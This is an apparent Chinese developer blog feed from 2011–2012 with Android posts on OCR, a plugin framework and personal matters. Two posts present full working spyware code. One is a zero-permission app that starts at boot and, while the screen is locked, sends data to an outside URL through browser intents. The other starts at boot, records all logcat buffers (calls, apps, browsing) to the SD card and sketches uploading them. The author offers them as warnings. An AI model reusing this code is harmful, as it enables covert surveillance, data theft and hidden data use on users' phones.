博客园_不可一日无烟卷

android下服务器推送实现 androidpn分析

2012-03-28T15:46:00Z

更新到了新博客 http://xgeek.me/blog/2012/03/28/androidpn/

本文链接

关于博客

2012-03-08T03:58:00Z

这是我博客的新地址，以后这里更新较多些

http://xgeek.me/

本文链接

AtomQQ 随笔

2012-02-12T12:44:00Z

最近重写了以前那个atomqq，后来发现自己在整体的设计上水平还是很欠缺，一个人搞也比较吃力，毕竟是一步步分析分析又分析webqq3，所以决定先暂时放下，学学python和架构方面的东西。

累了，也是时候停下来学学了。

这是atomqq目前的进度：

http://code.google.com/p/atom-qq/ <-源码在这

下面是目前进度的程序截图：

登陆界面

主程序，群列表在右面，左右滑动

近期会话，一个向上弹出抽屉

群聊天，黄色背景为自己发送的消息

写到这里时，突然感觉累了，也有点力不从心了，就先这么放放吧。

本文链接

抛砖引玉之谁动了我的流量(0权限上传数据)

2012-01-13T17:40:00Z

上次写过一篇文章抛砖引玉之谁动了我的隐私(android用户隐私窥探) 描述如何读取系统log缓冲区但还存在权限提示问题。

这次来个稍微好点的，真正的0权限上传数据

同上次讲的一样，虽然大部分用户在安装app时对权限警告视而不见，但相信以后用户会对权限问题越来越重视的。

这次咱们先真正的来一次0权限上传热热身。

一、原理

首先利用的还是那个开机启动bug。

然后，在手机锁屏时上传数据。

如何上传数据呢，为了避免权限咱们得瞒天过海。

我们知道，在Intent转向的时候，可以转到标记为ACTION_VIEW的activity，而浏览器都有这个标记，可以传一个uri过去。

soga,说到这里，，明白了吧。就是使用http的GET传参，虽然只能传明文，但已经够了，更何况一次能传输的字节也还是很客观的。

至于传什么，每个想实现这种功能的人都有其目的吧。

二、实现

首先是清单文件，不需要声明任何权限，只需要写一个广播接收者和一个服务即可

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="org.igeek.hack"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="8" />

<application android:icon="@drawable/icon" android:label="@string/app_name">

<receiver android:name =".reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >

<service android:name=".service.HackerService"/>

</application>
</manifest>

然后就是广播接收者的实现，很简单，单纯的开启一个服务

package org.igeek.hack.reciver;

import org.igeek.hack.service.HackerService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/**
* @author 作者 E-mail:hangxin1940@gmail.com
* @version 创建时间：2012-01-13 下午10:32:21
* 类说明
*/
public class HackReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
Intent it=new Intent(context, HackerService.class);
context.startService(it);
}

}

最后，就是关键部分，服务的实现

1 package org.igeek.hack.service;
2
3 import java.util.Random;
4 import android.app.KeyguardManager;
5 import android.app.Service;
6 import android.content.BroadcastReceiver;
7 import android.content.Context;
8 import android.content.Intent;
9 import android.content.IntentFilter;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.os.IBinder;
13 import android.util.Log;
14
15 /**
16 *
17 * @author 作者 E-mail:hangxin1940@gmail.com
18 * @version 创建时间：2012-01-13 下午10:42:11
19 * 类说明
20 */
21 public class HackerService extends Service {
22 private ScreenOnBroadcastReciver soReciver;
23 private ScreenOFFBroadcastReciver sfReciver;
24 private Handler handler;
25
26 final static String LOG_TAG="hack";
27 KeyguardManager keyguardManager;
28 Intent it;
29
30 //GET提交地址
31 final String HACK_URL="http://www.igeek.org/hack?info=";
32
33
34
35 private Runnable r=new Runnable() {
36
37 @Override
38 public void run() {
39
40
41 //如果是锁屏状态
42 if(keyguardManager.inKeyguardRestrictedInputMode()){
43
44 //GET上传，内容随你
45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
46
47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
48 Uri uri=Uri.parse(HACK_URL+hackInfo);
49 it.setData(uri);
50 startActivity(it);
51 Log.i(LOG_TAG,"提交数据->"+HACK_URL+hackInfo);
52
53 //每隔5秒，执行一次上传
54 handler.postDelayed(r, 5000);
55 }
56 }
57 };
58
59
60
61 @Override
62 public void onStart(Intent intent, int startId) {
63 super.onStart(intent, startId);
64
65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
66 it=new Intent(Intent.ACTION_VIEW);
67
68 handler=new Handler();
69
70 Log.i(LOG_TAG, "开机完成，注册广播接收者");
71 soReciver=new ScreenOnBroadcastReciver();
72 sfReciver=new ScreenOFFBroadcastReciver();
73
74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
75 registerReceiver(soReciver, onIntentFilter);
76
77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
78 registerReceiver(sfReciver, offIntentFilter);
79 }
80
81
82 @Override
83 public IBinder onBind(Intent intent) {
84 return null;
85 }
86
87 /**
88 * 解锁广播接收者
89 * @author hang
90 *
91 */
92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
93
94 @Override
95 public void onReceive(Context context, Intent intent) {
96
97 Log.i(LOG_TAG, "屏幕解开");
98 handler.removeCallbacks(r);
99 intent.setAction(Intent.ACTION_MAIN);
100 intent.addCategory(Intent.CATEGORY_HOME);
101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
102
103 Log.i(LOG_TAG, "转向HOME");
104 startActivity(intent);
105
106 }
107
108 }
109
110 /**
111 * 锁屏广播接收者
112 * @author hang
113 *
114 */
115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116
117 @Override
118 public void onReceive(final Context context, Intent intent) {
119
120
121
122 Log.i(LOG_TAG, "屏幕锁住");
123
124 //500ms后开始执行上传数据
125 handler.postDelayed(r, 500);
126 }
127
128 }
129 }

三、效果

哈，运行下试试，关机。。。开机。。。锁屏。。解锁。。没发现什么反应啊。。。再看看程序管理。。Hack程序也没有任何权限提示啊。。。

真的这样吗？来看看log

you see? 流量就这么悄悄的耗了。

本工程包地址：hack_0p_upload.zip

结束语

这么流氓的伎俩，相信谁都不想碰到，google market也混乱的一塌糊涂，android app混乱的不成样子，大家还是擦亮双眼，安全，一定要注意的。

另外，关于开机启动的这个bug，貌似360的手机安全软件可以检测出来。其它的我没试，因为我很懒，我从来不装安全软件。

最后，请关注我的抛砖引玉系列，会有更多精彩内容

原创，转载请注明 http://hangxin1940.cnblogs.com

这里仅当抛砖引玉，本人水平有限，难免有些疏漏或者错误，还请指正！！！

本文链接

Android OCR 之 tesseract

2012-01-13T05:29:00Z

OCR属于CV的范畴，也就是计算机视觉，目前来看，除了opencv这个龙头老大，也就是hp开发的tesseract比较好用，虽然年头比较长了，但现在归google维护并托管在google code上了。

现在有android版本的
地址：http://code.google.com/p/tesseract-android-tools/

这个版本得自己git 三个库 leptonica tesseract libjpeg ，我自己是编译成功了，但测试的时候native层总是crash。

于是发现了tess的android的另一个分支 tess-two

推荐linux上编译

一、下载&编译

1、首先下载tess-two

git clone git://github.com/rmtheis/tess-two tess

2、进入 tess目录，里面有三个项目，我们只需要进入tess-two就可以直接编译了

cd tess/tess-two
ndk-build

3、编译好后，将src下的两个包以及libs导入到自己的项目就可以用啦

这里把我我把编译好后的东西放出来，用的话不用再编译了

下载：tess-two.zip

二、使用

tesseract 使用了 leptonica的图像处理库，对于图像处理还是比较强大的

Android官方地址:tesseract-android-tools

但它必须要一个匹配库，即tessdata，我们可以从官方拷贝，在前面git的项目里面tesseract源码目录有现成的tessdata可以用，对于中文，google code上也有下载，当然也可以自己训练不同语言的tessdata。

包leptonica的类我们不必使用，只要使用tess包的类就行了

TessBaseAPI

使用时，首先创建TessBaseAPI对象

TessBaseAPI baseApi=new TessBaseAPI();

//初始化tess
//android下面，tessdata肯定得放到sd卡里了
//如果tessdata这个目录放在sd卡的根目录
//那么path直接传入sd卡的目录
//eng就是英文，关于语言，按ISO 639-3标准的代码就行，具体请移步wiki
baseApi.init("tessdata文件夹的父级目录", "eng");

//options是为了缩放图片，这个酌情缩放，图片小的话可以不缩放
BitmapFactory.Options options=new BitmapFactory.Options();
//缩小为原来的1/2
options.inSampleSize=2;

//bitmap，我这里是以流的形式，只要能形成Bitmap就行
Bitmap bitmap = BitmapFactory.decodeStream(instream,null,options);
instream.close();

//如果图片有Alpha值，那么最好设置一下
/*ExifInterface exif = new ExifInterface(filename)
int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION, ExifInterface.ORIENTATION_NORMAL);

int rotate = 0;
switch (exifOrientation) {
case ExifInterface.ORIENTATION_ROTATE_90:
rotate = 90;
break;
case ExifInterface.ORIENTATION_ROTATE_180:
rotate = 180;
break;
case ExifInterface.ORIENTATION_ROTATE_270:
rotate = 270;
break;
}

if (rotate != 0) {

// Getting width & height of the given image.
int w = bitmap.getWidth();
int h = bitmap.getHeight();

// Setting pre rotate
Matrix mtx = new Matrix();
mtx.preRotate(rotate);

// Rotating Bitmap
bitmap = Bitmap.createBitmap(bitmap, 0, 0, w, h, mtx, false);
// tesseract req. ARGB_8888
bitmap = bitmap.copy(Bitmap.Config.ARGB_8888, true);
} */

//设置要ocr的图片bitmap
baseApi.setImage(bitmap);
//根据Init的语言，获得ocr后的字符串
String text= baseApi.getUTF8Text();
//释放bitmap
baseApi.clear();

//如果连续ocr多张图片，这个end可以不调用，但每次ocr之后，必须调用clear来对bitmap进行释放
//释放native内存
baseApi.end();

///////////////////////////其它方法//////////////////////////////////

//获取字符边框

Pixa pixa= baseApi.getCharacters();

//同上，这个是整段文字的边框
baseApi.getRegions();

//同上，只不过这里是条线
baseApi.getTextlines();

//剩下的自己测试吧。

//转为rect数组，之后，可以很方便的在图片上框出方框
//怎么框由你
ArrayList<Rect> rects=pixa.getBoxRects();

结束。

android下ocr就这么简单，好好使用第三方库就行了。

ps:在使用这套库对12306的验证码进行ocr时，耗时50ms左右。

本文链接

2012 祭奠 * 发展 * 创新

2012-01-04T02:48:00Z

发展 * 创新
2012 元旦，参加北京创客空间的跨年活动，地点位于青公馆，属于青年志的地盘。

活动的内容就是与mit（米国麻省理工）的miter（麻省理工的黑客/创客）们交流与分享经验。

这是个老胡同的四合院，艺术范儿浓厚，与会的十来人却都是一些geeker，技术狂热爱好者。

josh，mit 的创客骨干，从computer hack到hardware hack无所不能，他正在介绍mit的机器人项目

cathy，mit的miter成员，很有意思的一个妹子。正在介绍mit的某个机器人竞赛

    这次会议给我的冲击很大，不是mit的人有多nb，也不是国内的圈子有多落后。对于创新，老外的思维是把一件事想的很简单，敢做。国内呢，每个人把事都想得很复杂，思前顾后不敢做。

    10年德国黑帽大会中破解中国原子锁都能吸引眼球，可见国内开锁师傅各个都是实质上的黑客了。

    在地铁上的时候cathy对我说他们美国创新不行，那句话当时震撼了周围每个乘客，也确实是，《make》杂志介绍国外geek把电子乐高搭成卫星发射到低轨道的时候，国内科创论坛的火箭圈子发展的如火如荼，民间火箭推进技术不亚于国外民间。

    什么kinect机器人、3D打印机确实已经比较俗了，我们北京创客空间下一步是做个Android手机遥控的四旋翼飞行器。这些开源项目一抓一大把，我总感觉这是在重复造轮子，有意义么。

祭奠
会议结束回到家很晚了，第二天中午起床，便得知张孝祥老师去世的消息，很震惊，饭也没吃便于朋友去了八宝山。

38岁，正是事业有成的时候，对于国内it事业的发展，他有着不可磨灭的丰功伟绩。2011年12月31日就这么走了。

我到北京以来，他曾给予我很多鼓励，让我充满信心的在it界发展。

就在我等待着他邮件的时候，却等来了讣告。最后一封电邮，我会永远保存。

-------------------------------------------------------------------------------------------
哎。程序员是悲催的。。。

本文链接

抛砖引玉之谁动了我的隐私(android用户隐私窥探)

2011-12-29T16:53:00Z

用户的隐私永远是第一位的，用户的隐私也是最值钱的。

最近各大门户相继被泄露。。。保管好自己的密码就行了

这里我就扯一下android下面搞用户隐私的方法，也算是android的一个疏忽。

但最主要的，还是用户在安装apk时对权限警告的无视，就犹如我们所有社区的密码设为相同一样。

罪魁祸首就是logcat。以及一个权限检测的bug.

1、开机启动

程序如何开机启动？那就是接受一个关于开机的广播，具体流程是这样的，首先在清单文件声明一个权限

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

然后就是写receiver以及在清单中设置了。

public class HackReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
................
}
}

其实呢，完全可以不必声明权限，照样使用。

android的包管理器在检测到用户要安装apk时，只是扫描一下清单中的权限声明，然后列出权限警告给用户，上面根本没有声明这个权限，所以不会列出来，但不影响使用，这个bug一直坚守到了4.0.

2、窥探隐私

我们要记录用户的一切，从开机开始！

安卓的一些调试工具，是默认集成在rom中的，比如logcat，不止是sdk中携带，而是每部安卓手机以及平板都有的。

而且，安卓框架会向log缓冲区写入所有的Log，具体是这几类：main、events、radio、system。这些Log缓冲区基本上涵盖了手机运行的方方面面。

进入正题，我们会用到Process类，也就是进程类，dalvik会分裂出一个进程来执行其它本地程序，就像在shell中打入命令，shell分裂一个进程来运行它一样，我们只需要把shell下的命令写成字符串，直接扔给process即可。

别忘了再加入这两个权限

<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

1 //简单的示例，这些代码可以附加到某个market的应用里，比如游戏等等
2 //其实有些广告的sdk，需要一大堆权限，好多都需要开机启动
3 //我想，可能是收集用户信息来分析用户的行为，来进行定点投放广告吧
4 public class HackReceiver extends BroadcastReceiver {
5
6 @Override
7 public void onReceive(Context context, Intent intent) {
8
9 ///main
10 Runnable r1=new Runnable() {
11
12 @Override
13 public void run() {
14 writeLog("org.igeek.hack.main.log", "main");
15 }
16 };
17 ///events
18 Runnable r2=new Runnable() {
19
20 @Override
21 public void run() {
22 writeLog("org.igeek.hack.events.log", "events");
23 }
24 };
25 ///radio
26 Runnable r3=new Runnable() {
27
28 @Override
29 public void run() {
30 writeLog("org.igeek.hack.radio.log", "radio");
31 }
32 };
33 ///system
34 Runnable r4=new Runnable() {
35
36 @Override
37 public void run() {
38 writeLog("org.igeek.hack.system.log", "system");
39 }
40 };
41
42 Thread t1=new Thread(r1);
43 Thread t2=new Thread(r2);
44 Thread t3=new Thread(r3);
45 Thread t4=new Thread(r4);
46
47
48
49 t1.start();
50 t2.start();
51 t3.start();
52 t4.start();
53 }
54
55 //你懂得
56 private void writeLog(String file,String content){
57 try {
58 StringBuilder command = new StringBuilder("logcat" );
59
60 File devFile = new File( Environment.getExternalStorageDirectory(),file );
61 if (devFile.createNewFile()){
62 command.append(" -b " ).append(content);
63
64
65 //命令格式是： logcat -b main
66 //logcat -b radio 等等
67 Process process = Runtime.getRuntime().exec(command.toString());
68
69
70 //这里，将本地程序的标准输出，也就是std::out转成java的输入流
71 InputStream input = process.getInputStream();
72 BufferedReader reader = new BufferedReader( new InputStreamReader(input));
73
74 //再把转入的输入流搞成输出流，这里放到sd卡的目录里面
75 FileOutputStream output=new FileOutputStream(devFile);
76 BufferedOutputStream bot=new BufferedOutputStream(output);
77
78 Log.e("hack", "记录LOG -> "+"sd:"+file);
79 String log;
80 while((log = reader.readLine()) != null){
81
82 //其实在输入流获取后，可以根据规则摘取想要的信息
83 //没有必要通吃
84
85
86 //在关机前，这个循环是很难跳出的
87 bot.write(log.getBytes());
88
89
90 //这里呢，可以学学骑驴250，将获取的数据上传到服务器
91 /*
92 伪代码
93
94 在清单中添加个Internet权限，相信用户也不会多心的
95
96
97 go:连接服务器
98 go:压缩并上传数据
99
100
101 */
102 }
103 bot.close();
104 output.close();
105 reader.close();
106 input.close();
107
108 //亲手测试一下，你会惊讶的发现，谁给你打电话、你当前运行什么程序、
109 //你看什么不该看的网页，都一一记录在案
110
111
112 }
113 } catch (IOException e) {
114 //have a nice day
115 e.printStackTrace();
116 }
117 }
118
119 }

就说这么多，感兴趣的可以研究研究market的安装方法，以及market uri，可以做到0权限静默安装高权限apk。

最后，请关注我的抛砖引玉系列，会有更多精彩内容

原创，转载请注明 http://hangxin1940.cnblogs.com

这里仅当抛砖引玉，本人水平有限，难免有些疏漏或者错误，还请指正！！！

本文链接

安卓应用程序插件化开发框架 -AAP Framework

2011-12-17T13:42:00Z

上篇博文，介绍了一种安卓开发中程序插件化的方法，想想应该可以搞的更方便些，于是花了4天时间把框架做出来了，希望能对大家有用。

android-application-plug-ins-frame-work

安卓应用程序插件化开发框架 -AAP Framework

介绍

这个框架的初衷，是为了方便让程序模块化、插件化，将一个apk应用拆分为多个apk。

不明白这个插件化、模块化是怎么回事的话，可以看看腾讯微信的安卓客户端中的插件配置。

在这里我会以腾讯微信为例，如何使用这个框架。 (腾讯微信并不是真正的插件化，它是伪的，插件并非与它的主程序分离开，结果就是每次插件的更新，都必须以整个程序的更新为代价)

都能干啥

框架的思想，主要是通过apk清单文件中的sharedUserId属性来吧多个apk融合为单一的dalvik虚拟机，也就是融合为一个进程，这样就变相逾越了android框架中不同apk权限不同无法互通的鸿沟(rpc啦什么的其它的毕竟不如这个来的实在)。

从最简单的皮肤插件到复杂的涉及数据库的拓展功能，从普通activity跳转到把插件的activity转变为view并附加到主程序中的拓展功能，都是可以通过本框架来实现的，当然，本框架只是提供了一种途径，如何编码还得靠自己。

本人能力有限，可能有一些错误、疏漏或者不足之处，请不吝指教，我的博客地址在左下角，或者我的邮箱，都可以联系到我。

ps:下面会以腾讯微信为例，这里声明一下，本人没有对微信安卓客户端进行任意形式的反编译与破解工作，只是看球半天进行简单的猜测而已。

框架结构

本插件框架由三个包组成：

org.igeek.android.pluginframework 这个包种类是框架的主要操作类

PluginBuilder? 组装插件
PluginDescription? 组装用户自定义的插件描述
PluginInvoke? 插件功能调用
PluginSearch? 查找插件

org.igeek.android.pluginframework.annotation 未来可能会考虑使用注解

PluginDescription? 用于用户自定义描述类的注解
PluginFeature? 用于插件类的注解
PluginMethod? 用于插件类方法的注解

org.igeek.android.pluginframework.beans 框架内部使用的一些beans

Plugin 插件包
PluginFeature? 插件类
PluginFeatureMethod? 插件方法

org.igeek.android.pluginframework.util 一些工具类

XMLParse 插件包

本文链接

android 程序开发的插件化模块化方法之一

2011-12-14T14:50:00Z

框架已经放出：

android-application-plug-ins-frame-work

安卓应用程序插件化开发框架 -AAP Framework

在android的项目开发中，都会遇到后期功能拓展增强与主程序代码变更的现实矛盾，也就是程序的灵活度。

由于linux平台的安全机制，再加上dalvik的特殊机制，各种权限壁垒，使得开发一个灵活多变的程序，变得比较困难，不像pc平台下那么容易。

瞅瞅elipse的插件，瞅瞅360的插件，在android下，我们一开始很难写好一个主程序，然后通过插件机制来应对以后的功能拓展，于是程序变得不那么灵活多变了。

比如一款android下的安全软件，新版本增加了一个功能，如短信拦截，往往会因为一个模块的增加，而重新编译一个apk包，这样周而复始，哪怕只增加50kb的功能代码，用户也需要升级一个完整的apk，往往是5~6M的体积。

最近思来想去，想到一个方法，既然tencent qq在android下面可以以apk的形式来换皮肤，这资源文件的拓展都可以这样简便的搞，为何功能性的拓展就不可以？

想出来了两种解决方案。

先来说说第一种。

demo下载在最后

先说分析思路。

android下，默认的情况是，每个apk相互独立的，基本上每个应用都是一个dalvik虚拟机，都有一个uid，再配合上linux本身的权限机制，使得apk互通很难直接进行。但作为一个独立应用的集成，不管多少个apk，都可以并为一个单独的dalvik虚拟机，直观的反映给开发人员就是在shell下列出进程，那几个apk同时加载后，会一个进程存在。

这主要就是工程的清单文件 Mainfest中配置了，只需要一句话，以我的测试demo为例：

....

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="org.igeek.plugintest.main"

android:sharedUserId="org.igeek.plugintest"
android:versionCode="1"
android:versionName="1.0">

.....

在上面的代码中，android:sharedUserId是指共用一个uid，也就是，凡是这个属性相同的工程，都会共用同一个uid，这样，权限壁垒就消除了，dalvik也会融合为一个，可以测试一下，写几个工程，没有这个属性和有这个属性的情况下，同时运行，在列出当前进程，就直观的说明了。

程序拓展的插件化，当然需要一个主程序，主程序是实现基本功能，以及UI，还有插件的检索以及插件的调用。

这里贴出我demo中的主activity代码：

1 public class AndoirdpluginActivity extends ActivityGroup implements OnClickListener ,OnScrollCompleteListener{
2 private LinearLayout llMainLayout;
3
4 //workspace，看看luncher的源码，这个就是桌面那个多屏的实现
5 private WorkSpace wkMain;
6 private Button btnFindPlugins;
7 private CheckBox chbAttachMain;
8
9 private LocalActivityManager m_ActivityManager;
10
11 //这个bean的集合，就相当于插件的描述集合
12 //每个bean也就是一个插件的各种描述
13 private List<PluginBean> plugins;
14
15 @Override
16 public void onCreate(Bundle savedInstanceState) {
17 super.onCreate(savedInstanceState);
18 setContentView(R.layout.main);
19
20 llMainLayout=(LinearLayout) findViewById(R.id.main_llMainLayout);
21 wkMain=(WorkSpace) findViewById(R.id.main_wkMain);
22 btnFindPlugins=(Button) findViewById(R.id.main_btnFindPlugins);
23 chbAttachMain=(CheckBox) findViewById(R.id.main_chbAttachMain);
24
25 m_ActivityManager = getLocalActivityManager();
26
27 wkMain.setOnScrollCompleteLinstenner(this);
28 btnFindPlugins.setOnClickListener(this);
29 }
30
31 @Override
32 public void onClick(View v) {
33 attachPlugin(findPlugins());
34 btnFindPlugins.setVisibility(View.GONE);
35 }
36
37 /**
38 * 加载插件列表
39 * @param plugins
40 */
41 private void attachPlugin(final List<PluginBean> plugins){
42 Log.e("ydt", " ");
43 Log.e("ydt", "----- 列出插件");
44 this.plugins=plugins;
45 for(final PluginBean plugin:plugins){
46 Button btn=new Button(this);
47 btn.setTextColor(Color.RED);
48 btn.setText(plugin.getLabel());
49
50 llMainLayout.addView(btn);
51 //添加事件
52 btn.setOnClickListener(new OnClickListener() {
53
54 @Override
55 public void onClick(View v) {
56 boolean isAttack=chbAttachMain.isChecked();
57
58 Intent it=new Intent();
59 it.setAction(plugin.getPakageName());
60
61 //是否附加为view
62 if(isAttack){
63 //这里偷下懒，这是演示插件作为view附加到主程序中的
64 for(PluginBean plugin:plugins){
65
66 Intent itt=new Intent();
67 itt.setAction(plugin.getPakageName());
68 ViewGroup view=(ViewGroup) (m_ActivityManager.startActivity("", itt)).getDecorView();
69 wkMain.addView(view);
70 }
71 //一次性附加完毕算了，然后把按钮都删了，看着清净，这几个不是重点
72 llMainLayout.removeAllViews();
73 chbAttachMain.setVisibility(View.GONE);
74 wkMain.setToScreen(0);
75 }else{
76 //这里，不会把插件的窗体附加到主程序中，纯粹无用的演示
77 startActivity(it);
78 }
79 }
80 });
81
82 }
83 }
84
85 /**
86 * 查找插件
87 * @return
88 */
89 private List<PluginBean> findPlugins(){
90
91 List<PluginBean> plugins=new ArrayList<PluginBean>();
92
93
94 //遍历包名，来获取插件
95 PackageManager pm=getPackageManager();
96
97
98 List<PackageInfo> pkgs=pm.getInstalledPackages(PackageManager.GET_UNINSTALLED_PACKAGES);
99 for(PackageInfo pkg :pkgs){
100 //包名
101 String packageName=pkg.packageName;
102 String sharedUserId= pkg.sharedUserId;
103
104 //sharedUserId是开发时约定好的，这样判断是否为自己人
105 if(!"org.igeek.plugintest".equals(sharedUserId)||"org.igeek.plugintest.main".equals(packageName))
106 continue;
107
108 //进程名
109 String prcessName=pkg.applicationInfo.processName;
110
111 //label，也就是appName了
112 String label=pm.getApplicationLabel(pkg.applicationInfo).toString();
113
114 PluginBean plug=new PluginBean();
115 plug.setLabel(label);
116 plug.setPakageName(packageName);
117
118 plugins.add(plug);
119 }
120
121
122 return plugins;
123
124 }
125
126
127 /**
128 * WorkSpace滚动到那个屏，会触发这个事件
129 * 而worksapce中每一屏又是一个插件
130 * 这个事件是用来列出当前屏幕插件所提供的应用，并且让用户调用
131 */
132 @Override
133 public void onScrollComplete(final ScrollEvent e) {
134 try {
135 final Context context = createPackageContext(plugins.get(e.curScreen).getPakageName(), Context.CONTEXT_INCLUDE_CODE|Context.CONTEXT_IGNORE_SECURITY);
136 llMainLayout.removeAllViews();
137 //这几行，通过反射获取了当前插件的描述信息，如同大部分框架的xml一样，这里算是模拟了一下IOC控制反转
138 Class clazz=context.getClassLoader().loadClass(plugins.get(e.curScreen).getPakageName()+".PluginApplication");
139 Object o=clazz.newInstance();
140 Map<String,List<String>> r=(Map<String, List<String>>) clazz.getMethod("getDesciption").invoke(o);
141 List<String> classes=r.get("classes");
142 List<String> methods=r.get("methods");
143
144
145 //这里，根据获得的插件所提供的功能，来生成几个按钮显示，供我们调用
146 for(final String clas:classes){
147 for(final String method:methods){
148 Button btn=new Button(this);
149
150 btn.setText(clas+" -> "+method+" 执行");
151
152
153 //点击后，就执行插件所提供的方法
154 btn.setOnClickListener(new OnClickListener() {
155
156 @Override
157 public void onClick(View v) {
158 try {
159 Class c=context.getClassLoader().loadClass(plugins.get(e.curScreen).getPakageName()+"."+clas);
160 Object o1=c.newInstance();
161
162 //这里注意，context实际上就是句柄，这里如果涉及到窗体，plugin的句柄其实是不行的，因为它没有可以
163 //依附的窗体
164
165 //这个context是plugin的，通过测试，dialog这类行不通,Toast是可以的，因为
166 //Toast是依附于屏幕主窗口的
167 //c.getMethod(method,Context.class).invoke(o1,context);
168
169 //这里则传递的是主程序的句柄
170 c.getMethod(method,Context.class).invoke(o1,AndoirdpluginActivity.this);
171
172 } catch (Exception e) {
173 // TODO Auto-generated catch block
174 e.printStackTrace();
175 }
176 }
177 });
178 llMainLayout.addView(btn);
179 }
180 }
181
182
183 } catch (Exception e1) {
184 // TODO Auto-generated catch block
185 e1.printStackTrace();
186 }
187
188 }
189 }

看注释吧，主要有两点

插件的扫描

这种方案是，每个插件以一个单独的apk发布，这样可以在程序中很灵活的知道是否有新的插件，提示用户下载安装，插件的apk清单描述为Action为非Luncher，Category为Default。

主程序侦听packgeManager的安装完成广播，之后扫描同包名（插件当然得这么定义了，只要通过packgeManager能判断是否为自己的插件就行）的apk，之后列出来，让用户选择是否加载。

插件的加载与调用

在获取包后，通过调用系统的api可以得到 sharedUserId 与主程序相同的apk的context，也就是句柄，获得了句柄，通过这个context可以得到classloader，之后就简单了，如何知道这个插件提供什么功能？

这个可以用xml描述，比如这个xml是插件apk的一个资源，就像spring这个框架一样。xml中描述了这个插件有哪些类，提供哪些方法，这些方法需要传入什么参数，返回什么类型。我的demo中为了方便，是用接口，每个插件有一个类提供一个相同的方法，来获取一个map集合，获得这个插件的描述。

ok,到这里就知道加载的插件提供什么功能了。

在上面贴出来的代码中，是循环遍历每个插件，并把每个插件提供的功能以Button的方式显示给用户，点击按钮，就执行了插件的功能，执行时，并不是activity转向（这样就无意义了），而是在主程序自身的context句柄中执行，也就是在自身的窗体中执行。

代码中有一段注释，说明，如果插件有用到context时，记得传递进去的是主程序的context，这样窗体才能附加到这个句柄中，如果传递的是插件的context，它没有一个窗体实例，是无法将一些窗体附加进去的，无任何效果。

这里只提供思路，有时间的话研究一下，看能不能搞个通用的框架出来。还有另一种方法，不通过apk形式，以后会写出来。

这里有一些待验证的问题，比如插件的权限问题，如果插件需要的一些权限在主程序中没有声明，会是个什么情况，能不能实时申请呢？这个需要高人指点。或者在主程序中把能声明的权限预先声明了也不错。还有就是native层代码的问题，如果插件包含了native层代码，会是个什么情况，这也需要验证。

这是demo下载：

http://files.cnblogs.com/hangxin1940/android_plugin_program.rar

原创，转载请注明 http://hangxin1940.cnblogs.com

最后本人水平有限，难免有些疏漏或者错误，还请指正！！！

本文链接

退伍一年了

2011-12-02T16:48:00Z

戎马两年，苦了两年，很充实的两年，战友们，你们现在在那？？

还记得我们在高原的时候吗。。。。

八嘎，小唐。。现在在干什么呢。。。

大家的音容笑貌历历在目。

我们曾艰难地走过

面对满目疮痍，我们义无反顾

马勒戈壁上的汛情，我们也很蛋疼。。。

各种苦与乐，我们一同度过。。。。。

也请战友们时常想起我这个苦逼的程序员。。。

本文链接

博客园_不可一日无烟卷

android下服务器推送实现 androidpn分析

关于博客

AtomQQ 随笔

抛砖引玉 之 谁动了我的流量(0权限上传数据)

Android OCR 之 tesseract

2012 祭奠 * 发展 * 创新

抛砖引玉 之 谁动了我的隐私(android用户隐私窥探)

安卓应用程序插件化开发框架 -AAP Framework

android 程序开发的插件化 模块化方法 之一

退伍一年了

抛砖引玉之谁动了我的流量(0权限上传数据)

抛砖引玉之谁动了我的隐私(android用户隐私窥探)

android 程序开发的插件化模块化方法之一